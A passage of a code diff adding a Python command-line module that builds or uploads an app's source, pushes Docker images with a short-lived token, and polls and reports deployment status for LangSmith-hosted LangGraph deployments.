+            self._write({"event": "note", "message": message, **extra})
+        else:
+            click.secho(message, fg="yellow")
+
+    def error(self, message: str, **extra: object) -> None:
+        if self._json:
+            self._write({"event": "error", "message": message, **extra})
+        else:
+            click.secho(f"   {message}", fg="red")
+
+    def status_change(
+        self,
+        status: str,
+        elapsed_seconds: float,
+        finished: bool = False,
+    ) -> None:
+        mins, secs = divmod(int(elapsed_seconds), 60)
+        elapsed_str = f"{mins}m {secs:02d}s" if mins else f"{secs}s"
+        if self._json:
+            self._write(
+                {
+                    "event": "status_change",
+                    "status": status,
+                    "elapsed_seconds": round(elapsed_seconds, 1),
+                    "message": f"{status}... ({elapsed_str})",
+                }
+            )
+        else:
+            click.echo(f"   {status}... ({elapsed_str})")
+
+    def log(self, message: str) -> None:
+        if self._json:
+            self._write({"event": "log", "message": message})
+        else:
+            click.echo(f"   | {message}")
+
+    def status_url(self, url: str) -> None:
+        if self._json:
+            self._write({"event": "status_url", "url": url})
+        else:
+            click.secho(f"   View status: {url}", fg="cyan")
+
+    def result(
+        self,
+        status: str,
+        *,
+        deployment_id: str,
+        url: str | None = None,
+        status_url: str | None = None,
+        fallback_status_message: str | None = None,
+    ) -> None:
+        if self._json:
+            if status == "succeeded":
+                message = "Deployment successful!"
+            elif status == "failed":
+                message = "Deployment failed"
+            else:
+                message = "Timed out waiting for deployment."
+            payload: dict = {
+                "event": "result",
+                "status": status,
+                "deployment_id": deployment_id,
+                "message": message,
+            }
+            if url:
+                payload["url"] = url
+            if status_url:
+                payload["status_url"] = status_url
+            self._write(payload)
+        else:
+            if status == "succeeded":
+                click.secho("   Deployment successful!", fg="green")
+                if url:
+                    click.secho(f"   URL: {url}", fg="green")
+                if status_url:
+                    click.secho(f"   View status: {status_url}", fg="green")
+            elif status == "failed":
+                click.secho("   Deployment failed", fg="red")
+                if status_url:
+                    click.secho(f"   View status: {status_url}", fg="red")
+            elif status == "timed_out":
+                click.secho("   Timed out waiting for deployment.", fg="yellow")
+                if status_url:
+                    click.secho(f"   Check status at: {status_url}", fg="yellow")
+                elif fallback_status_message:
+                    click.secho(f"   {fallback_status_message}", fg="yellow")
+
+    def heartbeat(self, status: str, elapsed_seconds: float) -> None:
+        if self._json:
+            mins, secs = divmod(int(elapsed_seconds), 60)
+            elapsed_str = f"{mins}m {secs:02d}s" if mins else f"{secs}s"
+            self._write(
+                {
+                    "event": "heartbeat",
+                    "status": status,
+                    "elapsed_seconds": round(elapsed_seconds, 1),
+                    "message": f"{status}... ({elapsed_str})",
+                }
+            )
+
+    def upload_progress(self, size_mb: float, pct: int) -> None:
+        if self._json:
+            self._write(
+                {
+                    "event": "upload_progress",
+                    "size_mb": round(size_mb, 1),
+                    "pct": pct,
+                }
+            )
+        else:
+            click.echo(f"\r   Uploading ({size_mb:.1f} MB)... {pct}%", nl=False)
+
+    def _write(self, obj: dict) -> None:
+        import sys as _sys
+
+        _sys.stdout.write(json_mod.dumps(obj, default=str) + "\n")
+        _sys.stdout.flush()
+
+
+def _get_emitter() -> _Emitter:
+    """Return the module-level emitter (falls back to text mode)."""
+    return _emitter or _Emitter(json_mode=False)
+
+
+# ---------------------------------------------------------------------------
+# Validators
+# ---------------------------------------------------------------------------
+
+
+def validate_deployment_selector(deployment_id: str | None, name: str | None) -> None:
+    """Ensure either deployment_id or name is provided."""
+    if deployment_id:
+        return
+    if not name:
+        raise click.UsageError("Either --deployment-id or --name is required.")
+
+
+def validate_deploy_commands(
+    install_command: str | None, build_command: str | None
+) -> None:
+    """Validate optional deploy commands for disallowed content."""
+    if install_command and langgraph_cli.config.has_disallowed_build_command_content(
+        install_command
+    ):
+        raise click.UsageError(
+            "install_command contains disallowed characters or patterns."
+        )
+    if build_command and langgraph_cli.config.has_disallowed_build_command_content(
+        build_command
+    ):
+        raise click.UsageError(
+            "build_command contains disallowed characters or patterns."
+        )
+
+
+# ---------------------------------------------------------------------------
+# Deployment lookup
+# ---------------------------------------------------------------------------
+
+
+def find_deployment_id_by_name(
+    client: HostBackendClient, name: str | None
+) -> str | None:
+    """Return deployment ID for an exact name match, or None if not found."""
+    if not name:
+        return None
+    existing = client.list_deployments(name_contains=name)
+    if isinstance(existing, dict):
+        for dep in existing.get("resources", []):
+            if isinstance(dep, dict) and dep.get("name") == name:
+                found_id = dep.get("id")
+                if found_id:
+                    return str(found_id)
+    return None
+
+
+# ---------------------------------------------------------------------------
+# Formatting helpers
+# ---------------------------------------------------------------------------
+
+
+def normalize_name(value: str | None) -> str:
+    """Sanitize a deployment/directory name into a valid deployment name.
+
+    LangSmith Deployment names only allow lowercase
+    alphanumeric characters and hyphens ([a-z0-9-]).
+    Invalid characters are replaced with hyphens.
+    """
+    if not value:
+        return "app"
+    slug = re.sub(r"[^a-z0-9-]+", "-", value.lower()).strip("-")
+    return slug or "app"
+
+
+def normalize_image_tag(value: str) -> str:
+    """Validate and return a Docker image tag.
+
+    Tags may only contain [A-Za-z0-9_.-].  Defaults to "latest" when empty.
+    """
+    if not value:
+        value = "latest"
+    if not re.fullmatch(r"[A-Za-z0-9_.-]+", value):
+        raise click.UsageError(
+            "Image tag may only contain characters A-Z, a-z, 0-9, '_', '-', '.'"
+        )
+    return value
+
+
+def _validate_prebuilt_image(runner, image: str, *, verbose: bool) -> None:
+    """Ensure a prebuilt image exists locally for linux/amd64."""
+    try:
+        stdout, _ = runner.run(
+            subp_exec(
+                "docker",
+                "image",
+                "inspect",
+                "--format",
+                "{{.Os}}/{{.Architecture}}",
+                image,
+                verbose=verbose,
+                collect=True,
+            )
+        )
+    except FileNotFoundError:
+        raise click.ClickException(
+            "Docker is required but not installed.\n"
+            "Install Docker Desktop: https://docs.docker.com/get-docker/"
+        ) from None
+    except click.exceptions.Exit:
+        raise click.ClickException(
+            f"Docker image '{image}' was not found locally. Build or pull the image "
+            "before deploying with --image."
+        ) from None
+
+    image_platform = (stdout or "").strip()
+    if image_platform != "linux/amd64":
+        detected = image_platform or "unknown"
+        raise click.ClickException(
+            f"Docker image '{image}' targets {detected}, but LangSmith Deployment "
+            "requires linux/amd64. Rebuild or pull the image for linux/amd64 before "
+            "deploying with --image."
+        )
+
+
+def _extract_deployment_url(deployment: dict[str, object]) -> str:
+    source_config = deployment.get("source_config")
+    if isinstance(source_config, dict):
+        custom_url = source_config.get("custom_url")
+        if isinstance(custom_url, str) and custom_url:
+            return custom_url
+    return "-"
+
+
+def format_deployments_table(deployments: Sequence[dict[str, object]]) -> str:
+    headers = ("Deployment ID", "Deployment Name", "Deployment URL")
+    rows = [
+        (
+            str(deployment.get("id", "-") or "-"),
+            str(deployment.get("name", "-") or "-"),
+            _extract_deployment_url(deployment),
+        )
+        for deployment in deployments
+    ]
+    widths = [
+        max(len(headers[index]), *(len(row[index]) for row in rows))
+        for index in range(len(headers))
+    ]
+
+    def format_row(row: Sequence[str]) -> str:
+        return "  ".join(value.ljust(widths[index]) for index, value in enumerate(row))
+
+    lines = [format_row(headers), format_row(tuple("-" * width for width in widths))]
+    lines.extend(format_row(row) for row in rows)
+    return "\n".join(lines)
+
+
+def format_revisions_table(revisions: Sequence[dict[str, object]]) -> str:
+    headers = ("Revision ID", "Status", "Created At")
+    latest_deployed_seen = False
+    rows = []
+    for revision in revisions:
+        status = str(revision.get("status", "-") or "-")
+        if status == "DEPLOYED":
+            if latest_deployed_seen:
+                status = "REPLACED"
+            else:
+                latest_deployed_seen = True
+        rows.append(
+            (
+                str(revision.get("id", "-") or "-"),
+                status,
+                str(revision.get("created_at", "-") or "-"),
+            )
+        )
+
+    widths = [
+        max(len(headers[index]), *(len(row[index]) for row in rows))
+        for index in range(len(headers))
+    ]
+
+    def format_row(row: Sequence[str]) -> str:
+        return "  ".join(value.ljust(widths[index]) for index, value in enumerate(row))
+
+    lines = [format_row(headers), format_row(tuple("-" * width for width in widths))]
+    lines.extend(format_row(row) for row in rows)
+    return "\n".join(lines)
+
+
+def format_timestamp(ts) -> str:
+    """Convert a timestamp (epoch ms or string) to a readable string."""
+    if isinstance(ts, (int, float)):
+        dt = datetime.fromtimestamp(ts / 1000, tz=timezone.utc)
+        return dt.strftime("%Y-%m-%d %H:%M:%S")
+    return str(ts) if ts else ""
+
+
+def format_log_entry(entry: dict) -> str:
+    """Format a single log entry for display."""
+    ts = format_timestamp(entry.get("timestamp", ""))
+    level = entry.get("level", "")
+    message = entry.get("message", "")
+    if ts and level:
+        return f"[{ts}] [{level}] {message}"
+    elif ts:
+        return f"[{ts}] {message}"
+    return message
+
+
+def level_fg(level: str) -> str | None:
+    """Return click color for a log level."""
+    level_upper = level.upper() if level else ""
+    if level_upper in {"ERROR", "CRITICAL"}:
+        return "red"
+    if level_upper == "WARNING":
+        return "yellow"
+    return None
+
+
+# ---------------------------------------------------------------------------
+# Env / secrets helpers
+# ---------------------------------------------------------------------------
+
+
+def _resolve_env_path(
+    config_json: dict, config_path: pathlib.Path
+) -> pathlib.Path | None:
+    """Return the .env file path implied by the config, or None for inline dicts."""
+    env_field = config_json.get("env")
+    if isinstance(env_field, dict) and env_field:
+        return None
+    if isinstance(env_field, str):
+        env_path = (config_path.parent / env_field).resolve()
+        if not env_path.exists():
+            _get_emitter().note(
+                f"Warning: env file '{env_field}' specified in langgraph.json not found."
+            )
+            return None
+        return env_path
+    return pathlib.Path.cwd() / ".env"
+
+
+def _parse_env_from_config(
+    config_json: dict, config_path: pathlib.Path
+) -> dict[str, str]:
+    """Resolve env vars from langgraph.json 'env' field or a .env fallback."""
+    env_field = config_json.get("env")
+    if isinstance(env_field, dict) and env_field:
+        return {str(k): str(v) for k, v in env_field.items()}
+    env_path = _resolve_env_path(config_json, config_path)
+    if env_path is None:
+        return {}
+    return {k: v for k, v in dotenv_values(env_path).items() if v is not None}
+
+
+def _env_without_deployment_name(env_vars: dict[str, str]) -> dict[str, str]:
+    """Return env vars copy with deployment-name key removed."""
+    filtered = dict(env_vars)
+    filtered.pop(_DEPLOYMENT_NAME_ENV, None)
+    return filtered
+
+
+def _secrets_from_env(
+    env_vars: dict[str, str],
+) -> list[dict[str, str]]:
+    """Convert env dict to secrets list, filtering reserved vars with warnings."""
+    secrets: list[dict[str, str]] = []
+    for name, value in env_vars.items():
+        if name in RESERVED_ENV_VARS:
+            _get_emitter().note(f"Skipping reserved env var: {name}")
+            continue
+        if not value:
+            continue
+        secrets.append({"name": name, "value": value})
+    return secrets
+
+
+# ---------------------------------------------------------------------------
+# Build mode resolution
+# ---------------------------------------------------------------------------
+
+
+def _resolve_build_mode(
+    remote_build_flag: bool | None,
+    *,
+    force_local: bool = False,
+) -> tuple[bool, str | None]:
+    """Determine whether to use a remote build.
+
+    Returns (use_remote_build, local_build_error).  Raises UsageError when
+    --no-remote is set but the machine cannot build locally. When
+    `force_local` is set, the function short-circuits and always selects a
+    local build.
+    """
+    if force_local:
+        return False, None
+    local_build_supported, local_build_error = can_build_locally()
+
+    if remote_build_flag is True:
+        return True, local_build_error
+
+    if remote_build_flag is False:
+        if not local_build_supported:
+            details = "\n\nOr re-run with --remote to use remote builds."
+            raise click.UsageError(
+                f"{local_build_error or 'Unable to build locally.'}{details}"
+            )
+        return False, None
+
+    # auto-detect
+    return not local_build_supported, local_build_error
+
+
+# ---------------------------------------------------------------------------
+# Deployment orchestration helpers
+# ---------------------------------------------------------------------------
+
+
+def _log_deploy_step(step: int, message: str, **extra: object) -> None:
+    _get_emitter().step(step, message, **extra)
+
+
+def _resolve_deployment(
+    client: HostBackendClient,
+    step: int,
+    deployment_id: str | None,
+    name: str | None,
+    *,
+    not_found_message: str,
+) -> tuple[str | None, bool, int]:
+    """Resolve an existing deployment by ID or exact name match."""
+    needs_creation = False
+    if deployment_id:
+        _log_deploy_step(step, f"Using deployment {deployment_id}")
+        _call_host_backend_with_optional_tenant(
+            client, lambda c: c.get_deployment(deployment_id)
+        )
+        return deployment_id, needs_creation, step + 1
+
+    _log_deploy_step(step, f"Looking up deployment '{name}'")
+    found_id = _call_host_backend_with_optional_tenant(
+        client, lambda c: find_deployment_id_by_name(c, name)
+    )
+    em = _get_emitter()
+    if found_id:
+        deployment_id = str(found_id)
+        em.info(f"Found existing deployment (ID: {deployment_id})")
+    else:
+        needs_creation = True
+        em.warn(not_found_message)
+    return deployment_id, needs_creation, step + 1
+
+
+def _create_deployment(
+    client: HostBackendClient,
+    step: int,
+    *,
+    name: str,
+    deployment_type: str,
+    source: str,
+    config_rel: str | None = None,
+    secrets: list[dict[str, str]] | None = None,
+) -> tuple[str, int]:
+    """Create a deployment and return its ID and next step number."""
+    _log_deploy_step(step, f"Creating deployment '{name}'")
+    created = client.create_deployment(
+        name=name,
+        deployment_type=deployment_type,
+        source=source,
+        config_path=config_rel,
+        secrets=secrets,
+    )
+    created_id = created.get("id") if isinstance(created, dict) else None
+    if not isinstance(created_id, str) or not created_id:
+        raise HostBackendError(
+            "POST /v2/deployments succeeded but response missing a valid 'id'"
+        )
+    _get_emitter().info(f"Deployment ID: {created_id}", deployment_id=created_id)
+    return created_id, step + 1
+
+
+def _smith_dashboard_base_url(host_url: str | None) -> str:
+    """Derive the LangSmith dashboard base URL from the API host URL."""
+    from urllib.parse import urlparse
+
+    if not host_url:
+        return "https://smith.langchain.com"
+    parsed = urlparse(host_url)
+    hostname = parsed.hostname or ""
+    if hostname in ("localhost", "127.0.0.1"):
+        return host_url.rstrip("/")
+
+    api_host_suffix = "api.host.langchain.com"
+    if hostname == api_host_suffix:
+        return "https://smith.langchain.com"
+    if hostname.endswith(f".{api_host_suffix}"):
+        prefix = hostname[: -(len(api_host_suffix) + 1)]
+        return f"https://{prefix}.smith.langchain.com"
+
+    return "https://smith.langchain.com"
+
+
+def _get_deployment_status_url(
+    updated: object, deployment_id: str, host_url: str | None = None
+) -> str | None:
+    """Compute the LangSmith dashboard URL for a deployment, if possible."""
+    tenant_id = updated.get("tenant_id") if isinstance(updated, dict) else None
+    if not tenant_id:
+        return None
+    base = _smith_dashboard_base_url(host_url)
+    return f"{base}/o/{tenant_id}/host/deployments/{deployment_id}"
+
+
+def _emit_deployment_status_url(
+    updated: object, deployment_id: str, host_url: str | None = None
+) -> str | None:
+    """Emit the deployment status URL and return it."""
+    url = _get_deployment_status_url(updated, deployment_id, host_url)
+    if url:
+        _get_emitter().status_url(url)
+    return url
+
+
+def _poll_revision_status(
+    client: HostBackendClient,
+    deployment_id: str,
+    *,
+    progress_message: str,
+    timeout_seconds: int,
+    poll_interval_seconds: int,
+    on_poll: Callable[[str, str, Callable[[str], None]], None] | None = None,
+    on_interrupt: Callable[[str], None] | None = None,
+) -> tuple[str, str | None]:
+    """Poll latest revision status until terminal status or timeout."""
+    em = _get_emitter()
+    revisions_resp = client.list_revisions(deployment_id, limit=1)
+    resources = (
+        revisions_resp.get("resources", []) if isinstance(revisions_resp, dict) else []
+    )
+    if not resources:
+        return "", None
+
+    revision_id = str(resources[0]["id"])
+    last_status = ""
+    deadline = time.time() + timeout_seconds
+    start_time = time.monotonic()
+    last_heartbeat = start_time
+    json_mode = em.json_mode
+    with Progress(
+        message=progress_message, elapsed=True, json_mode=json_mode
+    ) as set_progress:
+        while time.time() < deadline:
+            try:
+                rev = client.get_revision(deployment_id, revision_id)
+            except KeyboardInterrupt:
+                set_progress("")
+                if on_interrupt is not None:
+                    on_interrupt(revision_id)
+                    raise click.exceptions.Exit(1) from None
+                raise
+
+            status = (
+                rev.get("status", "UNKNOWN") if isinstance(rev, dict) else "UNKNOWN"
+            )
+            if status != last_status:
+                set_progress("")
+                if last_status:
+                    em.status_change(last_status, time.monotonic() - start_time)
+                last_status = status
+                if status in _TERMINAL_STATUSES:
+                    break
+                set_progress(f"{status}...")
+                last_heartbeat = time.monotonic()
+            elif json_mode and time.monotonic() - last_heartbeat > 10:
+                em.heartbeat(last_status, time.monotonic() - start_time)
+                last_heartbeat = time.monotonic()
+
+            if on_poll is not None:
+                on_poll(status, revision_id, set_progress)
+            time.sleep(poll_interval_seconds)
+        else:
+            set_progress("")
+
+    return last_status, revision_id
+
+
+def _print_deployment_result(
+    client: HostBackendClient,
+    deployment_id: str,
+    last_status: str,
+    *,
+    dashboard_label: str,
+    status_url: str | None = None,
+) -> None:
+    """Print final deployment status and raise on failure."""
+    em = _get_emitter()
+    dep_info = client.get_deployment(deployment_id)
+    custom_url = None
+    if isinstance(dep_info, dict):
+        sc = dep_info.get("source_config")
+        if isinstance(sc, dict):
+            custom_url = sc.get("custom_url")
+
+    if last_status == "DEPLOYED":
+        em.result(
+            "succeeded",
+            deployment_id=deployment_id,
+            url=custom_url,
+            status_url=status_url,
+        )
+    elif last_status in ("BUILD_FAILED", "DEPLOY_FAILED", "CREATE_FAILED"):
+        em.result(
+            "failed",
+            deployment_id=deployment_id,
+            status_url=status_url,
+        )
+        raise click.exceptions.Exit(1)
+    else:
+        em.result(
+            "timed_out",
+            deployment_id=deployment_id,
+            status_url=status_url,
+            fallback_status_message=(
+                f"Check status in the LangSmith {dashboard_label}."
+            ),
+        )
+
+
+# ---------------------------------------------------------------------------
+# Docker push auth
+# ---------------------------------------------------------------------------
+
+
+@contextmanager
+def _docker_config_for_token(registry_host: str, token: str):
+    """Create a temporary Docker config with only the push token.
+
+    Yields the path to a temporary config directory that can be passed
+    to `docker --config ` so that system credential helpers
+    (e.g. gcloud) don't interfere with the push token.
+    """
+    auth_b64 = base64.b64encode(f"oauth2accesstoken:{token}".encode()).decode()
+    config_data = {"auths": {registry_host: {"auth": auth_b64}}}
+    with tempfile.TemporaryDirectory() as tmpdir:
+        with open(os.path.join(tmpdir, "config.json"), "w") as f:
+            json_mod.dump(config_data, f)
+        yield tmpdir
+
+
+# ---------------------------------------------------------------------------
+# GCS upload
+# ---------------------------------------------------------------------------
+
+_UPLOAD_TIMEOUT_SECONDS = 300
+_BYTES_PER_MIB = 1_048_576
+
+
+class _ProgressReader:
+    """File-like wrapper that reports upload progress via the emitter."""
+
+    def __init__(self, fobj, file_size: int, emitter: "_Emitter"):
+        self._fobj = fobj
+        self._file_size = file_size
+        self._emitter = emitter
+        self._uploaded = 0
+
+    def read(self, size=-1):
+        data = self._fobj.read(size)
+        if data:
+            self._uploaded += len(data)
+            pct = (
+                int(self._uploaded * 100 / self._file_size) if self._file_size else 100
+            )
+            self._emitter.upload_progress(self._file_size / _BYTES_PER_MIB, pct)
+        return data
+
+    def __len__(self):
+        return self._file_size
+
+
+def _upload_to_gcs(signed_url: str, file_path: str, file_size: int) -> None:
+    """Upload tarball to GCS via signed PUT URL with progress display."""
+    import urllib.error
+    import urllib.request
+
+    em = _get_emitter()
+
+    with open(file_path, "rb") as f:
+        reader = _ProgressReader(f, file_size, em)
+        req = urllib.request.Request(
+            signed_url,
+            data=reader,
+            method="PUT",
+            headers={
+                "Content-Type": "application/gzip",
+                "Content-Length": str(file_size),
+                "X-Goog-Content-Length-Range": "0,209715200",
+            },
+        )
+        try:
+            urllib.request.urlopen(req, timeout=_UPLOAD_TIMEOUT_SECONDS)
+        except urllib.error.HTTPError as err:
+            detail = err.read().decode("utf-8", errors="ignore")
+            raise click.ClickException(
+                f"Upload failed with status {err.code}: {detail}"
+            ) from None
+    if not em.json_mode:
+        click.echo()
+
+
+# ---------------------------------------------------------------------------
+# Build runners
+# ---------------------------------------------------------------------------
+
+
+def _resolve_pushed_image_digest(
+    runner,
+    *,
+    remote_image: str,
+    docker_config_dir: str | None,
+    verbose: bool,
+) -> str:
+    """Return ``{registry}/{repo}@sha256:`` for a freshly-pushed image.
+
+    Reads ``RepoDigests`` via ``docker image inspect`` — the local daemon
+    records the registry's manifest digest there after a successful push.
+    Falls back to ``remote_image`` with a warning if no matching digest is
+    found, rather than failing the deploy.
+    """
+    # rsplit preserves ``:port`` in the registry host.
+    repo_no_tag = remote_image.rsplit(":", 1)[0]
+    args: list[str] = ["docker"]
+    if docker_config_dir:
+        args += ["--config", docker_config_dir]
+    args += ["image", "inspect", "--format", "{{json .RepoDigests}}", remote_image]
+    stdout, _ = runner.run(subp_exec(*args, collect=True, verbose=verbose))
+    try:
+        digests = json_mod.loads(stdout or "[]") or []
+    except json_mod.JSONDecodeError:
+        digests = []
+    for d in digests:
+        if isinstance(d, str) and d.startswith(f"{repo_no_tag}@sha256:"):
+            return d
+    _get_emitter().warn(
+        f"Could not resolve image digest for {remote_image}; "
+        "falling back to the tag-based reference. Re-run with --verbose for details."
+    )
+    return remote_image
+
+
+def _run_local_build(
+    *,
+    client: HostBackendClient,
+    deployment_id: str,
+    step: int,
+    config: pathlib.Path,
+    config_json: dict,
+    verbose: bool,
+    pull: bool,
+    api_version: str | None,
+    base_image: str | None,
+    image_name: str | None,
+    prebuilt_image: str | None,
+    name: str | None,
+    tag: str,
+    install_command: str | None,
+    build_command: str | None,
+    docker_build_args: Sequence[str],
+    secrets: list[dict[str, str]],
+    tracked_packages: list[str] | None,
+) -> BuildResult:
+    """Build locally with Docker, push to registry, update deployment."""
+    # Use buildx to cross-compile for amd64 when running on a non-x86_64 host
+    # (e.g. Apple Silicon). On amd64 hosts, plain docker build is sufficient.
+    needs_buildx = platform.machine() != "x86_64"
+    local_tag = f"langgraph-deploy-tmp:{int(time.time())}"
+    image_to_push = prebuilt_image or local_tag
+
+    with Runner() as runner:
+        if prebuilt_image:
+            _log_deploy_step(step, f"Validating image {prebuilt_image}")
+            _validate_prebuilt_image(runner, prebuilt_image, verbose=verbose)
+            click.secho("   Image is available for linux/amd64", fg="green")
+        else:
+            # -- Step: Build image --
+            _log_deploy_step(step, "Building image")
+            if needs_buildx:
+                build_flags: list[str] = [
+                    "--platform",
+                    "linux/amd64",
+                    "--load",
+                ]
+                if not verbose:
+                    build_flags.append("--progress=quiet")
+                with Progress(message="Building...", elapsed=not verbose):
+                    build_docker_image(
+                        runner,
+                        lambda _msg: None,
+                        config,
+                        config_json,
+                        base_image,
+                        api_version,
+                        pull,
+                        local_tag,
+                        docker_build_args,
+                        install_command,
+                        build_command,
+                        docker_command=("docker", "buildx", "build"),
+                        extra_flags=build_flags,
+                        verbose=verbose,
+                    )
+            else:
+                with Progress(message="Building...", elapsed=not verbose):
+                    build_docker_image(
+                        runner,
+                        lambda _msg: None,
+                        config,
+                        config_json,
+                        base_image,
+                        api_version,
+                        pull,
+                        local_tag,
+                        docker_build_args,
+                        install_command,
+                        build_command,
+                        verbose=verbose,
+                    )
+        step += 1
+
+        # -- Step: Get push token and authenticate --
+        _log_deploy_step(step, "Requesting push token")
+        try:
+            push_data = client.request_push_token(deployment_id)
+        except HostBackendError as err:
+            if (
+                err.status_code == 400
+                and "only available for 'internal_docker' source deployments"
+                in err.message
+            ):
+                raise click.ClickException(
+                    f"Deployment '{deployment_id}' was not created by 'langgraph deploy' "
+                    "and cannot be updated with this command.\n"
+                    "Please create a new deployment by running 'langgraph deploy' "
+                    "without --deployment-id, or use a different --name."
+                ) from None
+            raise
+        deployment_token = push_data.get("token")
+        registry_url = push_data.get("registry_url")
+        if not deployment_token or not registry_url:
+            raise click.ClickException(
+                "Push token response missing token or registry_url"
+            )
+        step += 1
+
+        normalized_registry = registry_url.rstrip("/")
+        if "://" in normalized_registry:
+            normalized_registry = normalized_registry.split("//", 1)[1]
+        repo_seed = image_name or name or config.parent.name
+        repo_name = normalize_name(repo_seed)
+        tag_value = normalize_image_tag(tag)
+        remote_image = f"{normalized_registry}/{repo_name}:{tag_value}"
+
+        registry_host = normalized_registry.split("/")[0]
+
+        # Use a clean Docker config with only the push token so that
+        # system credential helpers (e.g. gcloud) don't interfere.
+        with _docker_config_for_token(registry_host, deployment_token) as cfg:
+            _log_deploy_step(step, f"Logging into {registry_host}")
+            token_input = (
+                deployment_token
+                if deployment_token.endswith("\n")
+                else f"{deployment_token}\n"
+            )
+            runner.run(
+                subp_exec(
+                    "docker",
+                    "--config",
+                    cfg,
+                    "login",
+                    "-u",
+                    "oauth2accesstoken",
+                    "--password-stdin",
+                    registry_host,
+                    input=token_input,
+                    verbose=verbose,
+                )
+            )
+            step += 1
+
+            # -- Step: Tag and push --
+            _log_deploy_step(step, f"Pushing image {remote_image}")
+            runner.run(
+                subp_exec(
+                    "docker",
+                    "tag",
+                    image_to_push,
+                    remote_image,
+                    verbose=verbose,
+                )
+            )
+            max_push_retries = 3
+            for attempt in range(max_push_retries):
+                try:
+                    with Progress(message="Pushing...", elapsed=not verbose):
+                        runner.run(
+                            subp_exec(
+                                "docker",
+                                "--config",
+                                cfg,
+                                "push",
+                                remote_image,
+                                verbose=verbose,
+                            )
+                        )
+                    break
+                except click.exceptions.Exit:
+                    if attempt < max_push_retries - 1:
+                        _get_emitter().warn(
+                            f"   Push failed, retrying (attempt {attempt + 2} of {max_push_retries})..."
+                        )
+                    else:
+                        raise
+        step += 1
+
+        resolved_image = _resolve_pushed_image_digest(
+            runner,
+            remote_image=remote_image,
+            docker_config_dir=None,
+            verbose=verbose,
+        )
+
+        # -- Step: Update deployment --
+        _log_deploy_step(step, f"Updating deployment {deployment_id}")
+        updated = client.update_deployment(
+            deployment_id,
+            resolved_image,
+            secrets=secrets,
+            tracked_packages=tracked_packages,
+        )
+
+    return BuildResult(
+        updated=updated if isinstance(updated, dict) else {},
+        progress_message="Deploying...",
+        timeout_seconds=300,
+        poll_interval_seconds=1,
+        no_result_message="Deployment updated",
+    )
+
+
+def _run_remote_build(
+    *,
+    client: HostBackendClient,
+    deployment_id: str,
+    step: int,
+    config: pathlib.Path,
+    config_json: dict,
+    verbose: bool,
+    install_command: str | None,
+    build_command: str | None,
+    secrets: list[dict[str, str]],
+    tracked_packages: list[str] | None,
+) -> BuildResult:
+    """Upload source tarball and trigger a remote build."""
+    from langgraph_cli.archive import create_archive
+
+    em = _get_emitter()
+    _log_deploy_step(step, "Creating source archive")
+    with create_archive(config, config_json) as (archive_path, file_size, config_rel):
+        em.info(f"Archive created ({file_size / _BYTES_PER_MIB:.1f} MB)")
+        step += 1
+
+        _log_deploy_step(step, "Requesting upload URL")
+        upload_data = client.request_upload_url(deployment_id)
+        signed_url = upload_data.get("upload_url")
+        object_path = upload_data.get("object_path")
+        if not signed_url or not object_path:
+            raise click.ClickException("Upload URL response missing required fields")
+        step += 1
+
+        _log_deploy_step(step, "Uploading source")
+        _upload_to_gcs(signed_url, archive_path, file_size)
+    step += 1
+
+    _log_deploy_step(step, "Triggering remote build")
+    updated = client.update_deployment_internal_source(
+        deployment_id,
+        source_tarball_path=object_path,
+        config_path=config_rel,
+        secrets=secrets,
+        install_command=install_command,
+        build_command=build_command,
+        tracked_packages=tracked_packages,
+    )
+
+    log_offset: str | None = None
+    logs_header_printed = False
+
+    def _stream_build_logs(
+        status: str, revision_id: str, set_progress: Callable[[str], None]
+    ) -> None:
+        nonlocal log_offset, logs_header_printed
+        if not (verbose and status in ("AWAITING_BUILD", "BUILDING")):
+            return
+        try:
+            logs_resp = client.get_build_logs(
+                deployment_id,
+                revision_id,
+                {"order": "asc", "limit": 50, "offset": log_offset}
+                if log_offset
+                else {"order": "asc", "limit": 50},
+            )
+            if isinstance(logs_resp, dict):
+                entries = logs_resp.get("logs", [])
+                has_output = any(entry.get("message") for entry in entries)
+                if has_output:
+                    set_progress("")
+                    if not logs_header_printed:
+                        em.info(f"{status} (build logs):")
+                        logs_header_printed = True
+                for entry in entries:
+                    msg = entry.get("message", "")
+                    if msg:
+                        em.log(msg)
+                log_offset = logs_resp.get("next_offset") or log_offset
+                if has_output:
+                    set_progress(f"{status}...")
+        except Exception:
+            pass
+
+    def _handle_interrupt(revision_id: str) -> None:
+        em.warn(
+            f"\nInterrupted. Deployment ID: {deployment_id}, Revision ID: {revision_id}"
+        )
+        em.warn("The build will continue remotely.")
+
+    return BuildResult(
+        updated=updated if isinstance(updated, dict) else {},
+        progress_message="",
+        timeout_seconds=900,
+        poll_interval_seconds=3,
+        no_result_message="Build triggered",
+        on_poll=_stream_build_logs,
+        on_interrupt=_handle_interrupt,
+        show_build_logs_on_failure=True,
+    )
+
+
+# ---------------------------------------------------------------------------
+# Host backend client factory
+# ---------------------------------------------------------------------------
+
+
+def _create_host_backend_client(
+    host_url: str | None,
+    api_key: str | None,
+    env_vars: dict[str, str] | None = None,
+) -> HostBackendClient:
+    if env_vars is None:
+        env_vars = _parse_env_from_config({}, pathlib.Path.cwd() / DEFAULT_CONFIG)
+    resolved_api_key = api_key
+    if not resolved_api_key:
+        for key_name in _API_KEY_ENV_NAMES:
+            val = env_vars.get(key_name)
+            if val:
+                resolved_api_key = val
+                break
+            val = os.environ.get(key_name)
+            if val:
+                resolved_api_key = val
+                break
+    if not resolved_api_key:
+        if _no_input:
+            raise click.ClickException(
+                "No LangSmith API key found. Set LANGSMITH_API_KEY in the "
+                "environment or .env file."
+            )
+        click.secho(
+            "No LangSmith API key found. Create one at Settings > API Keys in LangSmith.",
+            fg="yellow",
+        )
+        resolved_api_key = click.prompt("Enter LangSmith API key", hide_input=True)
+    tenant_id = env_vars.get("LANGSMITH_TENANT_ID") or os.environ.get(
+        "LANGSMITH_TENANT_ID"
+    )
+    return HostBackendClient(host_url, resolved_api_key, tenant_id=tenant_id)
+
+
+def _call_host_backend_with_optional_tenant(
+    client: HostBackendClient,
+    operation: Callable[[HostBackendClient], object],
+) -> object:
+    """Run *operation*, prompting for a workspace ID on org-scoped 403s.
+
+    On success the original *client* is returned as-is.  If the user is
+    prompted for a workspace ID, the tenant header is set on *client*
+    in-place so all subsequent calls through the same instance are
+    tenant-aware.
+    """
+    prompted_for_tenant = False
+
+    while True:
+        try:
+            return operation(client)
+        except HostBackendError as err:
+            if (
+                not prompted_for_tenant
+                and err.status_code == 403
+                and "requires workspace specification" in err.message
+            ):
+                if _no_input:
+                    raise click.ClickException(
+                        "API key is org-scoped and requires a workspace ID. "
+                        "Set LANGSMITH_TENANT_ID in your .env file or "
